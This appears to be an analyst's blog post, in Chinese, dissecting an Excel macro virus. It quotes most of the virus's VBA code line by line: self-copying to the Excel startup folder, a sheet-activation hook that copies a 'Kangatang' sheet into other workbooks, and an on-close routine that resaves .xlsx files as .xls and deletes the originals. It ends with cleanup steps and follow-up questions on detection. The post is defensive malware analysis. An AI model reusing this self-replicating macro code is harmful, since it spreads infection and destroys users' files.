今天拿到一个宏病毒的文件
做了一下分析,并问了一下领导
领导提了几个问题,值得我思考以及记住(这里放在最后写)
先说说我的发现
首先我清楚了宏病毒office感染这块,宏代码vba
用oletools可以提取出宏病毒的代码

然后我禁用了宏,再xls文档上打开对比了一下

然后分析
VBA 代码是一种 典型的宏病毒行为,它利用了 Excel 的 自动宏函数(Auto_Open, Auto_Close)和一些隐蔽手段进行 自我复制、伪装和持久化 操作。
🔸Sub Auto_Open()
这是 Excel 的自动宏函数,只要打开该工作簿就会立即执行此代码,无需用户手动触发。
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
🟡 注释掉的一行,是将当前工作簿复制到 Excel 的 启动目录 XLSTART,这意味着文档将在每次打开 Excel 时自动加载并执行(持久化驻留),这是 强烈的恶意行为特征。虽被注释,但仍需警惕。
Application.DisplayAlerts = False
On Error Resume Next
🟡 禁用弹窗和错误提示 —— 这是 宏病毒常用的“隐藏行为”策略,防止用户注意到异常。
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If
🔴 核心恶意行为:
- 如果当前文件不在启动目录(
StartupPath),则:- 暂时隐藏窗口;
- 将当前工作簿复制到启动目录,命名为
mypersonnel.xls; - 再恢复窗口显示。
📌 意图:实现宏的自我复制和自动启动能力(持久化驻留)。
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
🔴 意图是注册一个 Excel 全局事件处理器,当用户 激活任意工作表时,就会执行 mypersonnel.xls 中的 allocated 宏。
📌 这是一种隐蔽的宏触发方式,让恶意代码在用户操作时悄悄执行。
🔸Sub Auto_Close()
这个函数在关闭工作簿时自动触发。
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
- 如果当前文件扩展名不是
.xlsx,或 Excel 版本较旧,就直接退出。
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
🔴 将 .xlsx 文件降级保存为 .xls 格式(旧格式支持 VBA 宏),然后:
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
🔴 删除原始 .xlsx 文件。
📌 意图是感染 .xlsx 文件后,转存为 .xls 并删除原始文件,以便宏代码得以生效,非常典型的“降级感染”策略。
🔸Sub allocated()
这是前面被注册为 OnSheetActivate 的子程序(用户只要点击任何表格页签,就会运行)。
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
...
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
🔴 如果当前第一张表不是 Kangatang,就从当前工作簿中复制出一张名为 Kangatang 的表,插入到目标文件中。
📌 作用是“隐藏地插入一张带有攻击载荷的表格”,可能其中包含更多恶意宏、伪造界面、诱导链接等。
🧨 恶意意图总结:
| 行为 | 说明 |
|---|---|
🪝 自动触发宏 (Auto_Open, Auto_Close) | 用户打开/关闭文档就会执行 |
| 🧬 自我复制到 Excel 启动目录 | 实现驻留,自动加载 |
| 🧼 隐藏窗口、屏幕刷新 | 混淆用户视线,偷偷操作 |
🔄 降级 .xlsx 并删除原始文件 | 强制宏激活、控制传播 |
| 🔫 绑定激活事件执行宏 | 用户一点击表就触发后门 |
📄 注入隐藏工作表 Kangatang | 多阶段攻击(可能还有嵌入对象、远程调用) |
🚨 风险评级:高危(宏病毒 + 持久化 + 操作系统文件 + 降级破坏)
✅ 建议:
- 不要启用该文档中的宏;
- 用虚拟机分析,不联网;
- 用
olevba/oledump提取所有宏模块; - 删除复制到
XLSTART或StartupPath的mypersonnel.xls文件; - 使用杀毒工具深度扫描该系统;
- 检查注册表
HKEY_CURRENT_USER\Software\Microsoft\Office\Excel\Addins是否被植入。
总结归纳
这段宏代码通过 Auto_Open 自动触发,悄悄将自身复制到 Excel 启动目录实现自启动驻留,并设置在用户切换工作表时自动执行宏函数 allocated,将隐藏表格插入用户文档以传播恶意内容;在关闭时还会将 .xlsx 文件降级为支持宏的 .xls 并删除原文件,以确保病毒可执行,是一个具备自我复制、隐藏传播和持久驻留能力的典型宏病毒逻辑。
问题
为啥说还没有清理干净
在我打开观察vba中脚本文件的时候

可以看到里面的kangtang文件不只一个,应该是反复感染的原因,而查杀清楚的时候只清楚掉了一次,然后发现还有就被隔离了
研究一下,用我司产品为啥没有清理干净。除了火绒,还有别的么?做一下信息和工具的搜索和收集。
文档感染型病毒有哪些检测机制?如何清理?如何自动化分析?先搭框架,把基本流程搞清楚,然后有余力做深度学习。
No responses yet